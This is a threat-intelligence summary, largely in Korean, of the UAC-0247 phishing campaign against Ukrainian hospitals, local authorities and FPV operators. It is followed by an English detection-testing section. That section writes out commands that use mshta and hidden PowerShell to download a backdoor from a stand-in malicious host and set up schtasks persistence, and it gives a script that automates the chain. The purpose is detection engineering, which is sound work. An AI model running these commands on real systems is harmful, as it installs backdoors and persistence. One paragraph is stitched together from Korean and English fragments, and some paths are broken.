UAC-0247, 병원, 지방 정부 및 FPV 운영자 대상을 공격

요약

2026년 3월과 4월 사이에 CERT-UA는 우크라이나 병원, 지방 당국 및 FPV 운영자 그룹에 대한 사이버 공격의 증가를 기록했습니다. 이 활동은 맞춤형 로더, RAVENSHELL 역쉘, C# 기반 AGINGFLY 원격 액세스 도구를 전달하는 악성 HTA나 HTML 링크가 포함된 피싱 이메일에 의존합니다. 추가 페이로드는 SILENTLOOP PowerShell 백도어, CHROMELEVATOR 및 ZAPIXDESK 자격 증명 절도 도구, 공개적으로 사용 가능한 스캐너 RUSTSCAN을 포함합니다. 공격자들은 DLL 사이드로딩, 예약 작업, 광범위한 맞춤형 커맨드 앤 컨트롤 인프라를 사용합니다.

조사

CERT-UA는 수십 건의 사고를 검토하고 악성 실행 파일, 스크립트, 예약 작업, IP 주소 및 도메인을 포함한 위협 정보를 추출했습니다. 조사를 통해 XOR 암호화로 보호되는 2단계 로더, 역 TCP 쉘 및 정적 AES-CBC 키에 의존하는 WebSocket 기반 C2 채널이 발견되었습니다. 분석가는 또한 다음과 같은 정품 Windows 유틸리티의 악용을 문서화했습니다. mshta.exe, powershell.exe, 및 wscript.exe 를 사용하여 악성 HTA 파일을 실행합니다.

완화

보고서는 이메일로 전달되는 LNK, HTA 및 JavaScript 파일의 실행을 비활성화하고, 사용을 제한하며, 애플리케이션 허용 목록을 시행할 것을 권장합니다. 수비관들은 식별된 커맨드 앤 컨트롤 서버로의 의심스러운 예약 작업 생성 및 아웃바운드 연결도 모니터링하도록 장려됩니다. mshta.exe, powershell.exe, 및 wscript.exe, and enforcing application allow-listing. Defenders are also encouraged to monitor for suspicious scheduled task creation and outbound connections to the identified command-and-control servers.

대응

보안 팀은 알려진 악성 URL 및 IP 주소를 즉시 차단하고, 나열된 파일 이름 및 예약 작업을 엔드포인트에서 검색하며, 손상된 시스템을 격리해야 합니다. 관찰된 명령줄에 대한 탐지 규칙을 배포하고 AGINGFLY 관련 WebSocket 트래픽에 대한 추가 모니터링을 수행해야 합니다. 노출되었을 수 있는 모든 계정은 즉각적인 자격 증명 재설정을 거쳐야 합니다.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  An attacker has gained initial foothold on a compromised workstation. To maintain persistence and execute further payloads while evading traditional AV, the attacker:

  1. Uses mshta.exe to download and execute a malicious HTA file that contains a PowerShell one‑liner.
  2. The PowerShell one‑liner downloads a back‑door binary from a remote server and stores it in %TEMP%.
  3. Creates a scheduled task (schtasks /Create /SC MINUTE /MO 10) that runs the back‑door every ten minutes, ensuring continual execution even after reboot.

  The exact commands executed on the compromised host are:

  :: Step 1 – mshta download & launch
  mshta.exe "http://malicious.example.com/payload.hta"
  
  :: Step 2 – PowerShell embedded in the HTA (simulated here directly)
  powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden ^
    -Command "(New-Object System.Net.WebClient).DownloadFile('http://malicious.example.com/backdoor.exe',$env:TEMP+'backdoor.exe')"
  
  :: Step 3 – Scheduled task for persistence
  schtasks /Create /SC MINUTE /MO 10 /TN "Updater" /TR "%TEMP%backdoor.exe"

• Regression Test Script: The following PowerShell script automates the entire attack chain, reproducing the exact telemetry required for the rule to fire.

  #================================================================
  # Regression Test – Trigger Sigma Rule for mshta + PowerShell + schtasks
  #================================================================
  
  # 1. Define URLs and paths (use benign test servers in a lab)
  $htaUrl       = "http://127.0.0.1:8080/payload.hta"
  $payloadUrl   = "http://127.0.0.1:8080/backdoor.exe"
  $tempPath     = "$env:TEMPbackdoor.exe"
  $taskName     = "Updater"
  
  # 2. Simulate mshta execution (downloads the HTA – here we just call mshta)
  Write-Host "[*] Executing mshta.exe"
  Start-Process -FilePath "mshta.exe" -ArgumentList "`"$htaUrl`"" -NoNewWindow -Wait
  
  # 3. Execute PowerShell one‑liner to fetch the backdoor
  Write-Host "[*] Downloading backdoor via PowerShell"
  $psCmd = "(New-Object System.Net.WebClient).DownloadFile('$payloadUrl','$tempPath')"
  Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command `$psCmd`" -NoNewWindow -Wait
  
  # 4. Create scheduled task (10‑minute interval)
  Write-Host "[*] Creating scheduled task for persistence"
  $schtasksArgs = "/Create /SC MINUTE /MO 10 /TN `"$taskName`" /TR `"$tempPath`" /F"
  Start-Process -FilePath "schtasks.exe" -ArgumentList $schtasksArgs -NoNewWindow -Wait
  
  Write-Host "[+] Attack simulation completed. Check the SIEM for the alert."

• Cleanup Commands: After validation, remove the created artifacts to restore the host to a clean state.

  # Delete the scheduled task
  schtasks /Delete /TN "Updater" /F
  
  # Remove the backdoor binary
  Remove-Item -Path "$env:TEMPbackdoor.exe" -Force
  
  # (Optional) Delete any test HTA files if they were saved locally
  # Remove-Item -Path "$env:TEMPpayload.hta" -Force